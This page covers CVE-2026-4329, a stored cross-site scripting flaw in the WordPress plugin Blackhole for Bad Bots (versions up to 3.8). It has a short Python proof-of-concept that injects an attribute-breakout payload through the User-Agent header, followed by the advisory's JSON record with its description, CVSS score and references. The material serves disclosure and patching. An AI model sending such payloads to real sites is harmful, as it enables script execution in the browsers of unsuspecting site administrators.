CVE-2026-4329

import requests # Target configuration target_url = "http://example.com" # The payload attempts to break out of the input value attribute. # sanitize_text_field() removes tags like <script>, but preserves quotes. # Resulting HTML: <input value="" onmouseover="alert(1)"> payload = '" onmouseover="alert(1)' headers = { "User-Agent": payload } try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print(f"[+] Payload sent successfully via User-Agent: {payload}") print("[*] Wait for an administrator to view the Blackhole Bad Bots log page.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-4329", "sourceIdentifier": "[email protected]", "published": "2026-03-26T05:16:40.287", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Blackhole for Bad Bots plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the User-Agent HTTP header in all versions up to and including 3.8. This is due to insufficient input sanitization and output escaping. The plugin uses sanitize_text_field() when capturing bot data (which strips HTML tags but does not escape HTML entities like double quotes), then stores the data via update_option(). When an administrator views the Bad Bots log page, the stored data is output directly into HTML input value attributes (lines 75-83) without esc_attr() and into HTML span content without esc_html(). This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the Blackhole Bad Bots admin page."}, {"lang": "es", "value": "El plugin Blackhole for Bad Bots para WordPress es vulnerable a cross-site scripting almacenado a través del encabezado HTTP User-Agent en todas las versiones hasta la 3.8 inclusive. Esto se debe a una sanitización de entrada insuficiente y un escape de salida inadecuado. El plugin utiliza sanitize_text_field() al capturar datos de bots (que elimina las etiquetas HTML pero no escapa las entidades HTML como las comillas dobles), luego almacena los datos a través de update_option(). Cuando un administrador ve la página de registro de Bad Bots, los datos almacenados se muestran directamente en los atributos de valor de entrada HTML (líneas 75-83) sin esc_attr() y en el contenido de los elementos span HTML sin esc_html(). Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios que se ejecutan cuando un administrador ve la página de administración de Blackhole Bad Bots."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/tags/3.8/inc/badbots-register.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/tags/3.8/inc/badbots-register.php#L79", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/tags/3.8/inc/badbots-register.php#L85", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/tags/3.8/inc/blackhole-core.php#L180", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/tags/3.8/inc/blackhole-helpers.php#L22", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/trunk/inc/badbots-register.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/trunk/inc/badbots-register.php#L79", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/trunk/inc/badbots-register.php#L85", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/trunk/inc/blackhole-core.php#L180", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blackhole-bad-bots/trunk/inc/blackhole-helpers.php#L22", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3487350%40blackhole-bad-bots&new=3487350%40blackhole-bad-bots&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a71992e2-fdac-4e89-8867-4b771d9b4374?source=cve", "source": "[email protected]"}]}}